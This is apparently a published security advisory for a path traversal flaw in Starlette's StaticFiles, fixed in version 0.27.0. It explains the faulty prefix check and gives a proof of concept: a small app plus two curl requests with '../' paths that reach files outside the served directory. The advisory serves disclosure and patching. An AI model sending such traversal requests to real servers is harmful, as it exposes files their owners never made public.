Starlette has Path Traversal vulnerability in StaticFiles
Summary
When using StaticFiles, if there's a file or directory that starts with the same name as the StaticFiles directory, that file or directory is also exposed via StaticFiles which is a path traversal vulnerability.
Details
The root cause of this issue is the usage of os.path.commonprefix():
https://github.com/encode/starlette/blob/4bab981d9e870f6cee1bd4cd59b87ddaf355b2dc/starlette/staticfiles.py#L172-L174
As stated in the Python documentation (https://docs.python.org/3/library/os.path.html#os.path.commonprefix) this function returns the longest prefix common to paths.
When passing a path like /static/../static1.txt, os.path.commonprefix([full_path, directory]) returns ./static which is the common part of ./static1.txt and ./static, It refers to /static/../static1.txt because it is considered in the staticfiles directory. As a result, it becomes possible to view files that should not be open to the public.
The solution is to use os.path.commonpath as the Python documentation explains that os.path.commonprefix works a character at a time, it does not treat the arguments as paths.
PoC
In order to reproduce the issue, you need to create the following structure:
├── static
│ ├── index.html
├── static_disallow
│ ├── index.html
└── static1.txt
And run the Starlette app with:
import uvicorn
from starlette.applications import Starlette
from starlette.routing import Mount
from starlette.staticfiles import StaticFiles
routes = [
Mount("/static", app=StaticFiles(directory="static", html=True), name="static"),
]
app = Starlette(routes=routes)
if __name__ == "__main__":
uvicorn.run(app, host="0.0.0.0", port=8000)
And running the commands:
curl --path-as-is 'localhost:8000/static/../static_disallow/'
curl --path-as-is 'localhost:8000/static/../static1.txt'
The static1.txt and the directory static_disallow are exposed.
Impact
Confidentiality is breached: An attacker may obtain files that should not be open to the public.
Credits
Security researcher Masashi Yamane of LAC Co., Ltd reported this vulnerability to JPCERT/CC Vulnerability Coordination Group and they contacted us to coordinate a patch for the security issue.
| Software | From | Fixed in |
|---|---|---|
starlette
|
0.13.5 | 0.27.0 |
- https://github.com/encode/starlette/blob/4bab981d9e870f6cee1bd4cd59b87ddaf355b2dc/starlette/staticfiles.py#L172-L174
- https://github.com/encode/starlette/commit/1797de464124b090f10cf570441e8292936d63e3
- https://github.com/encode/starlette/releases/tag/0.27.0
- https://github.com/encode/starlette/security/advisories/GHSA-v5gw-mw7f-84px
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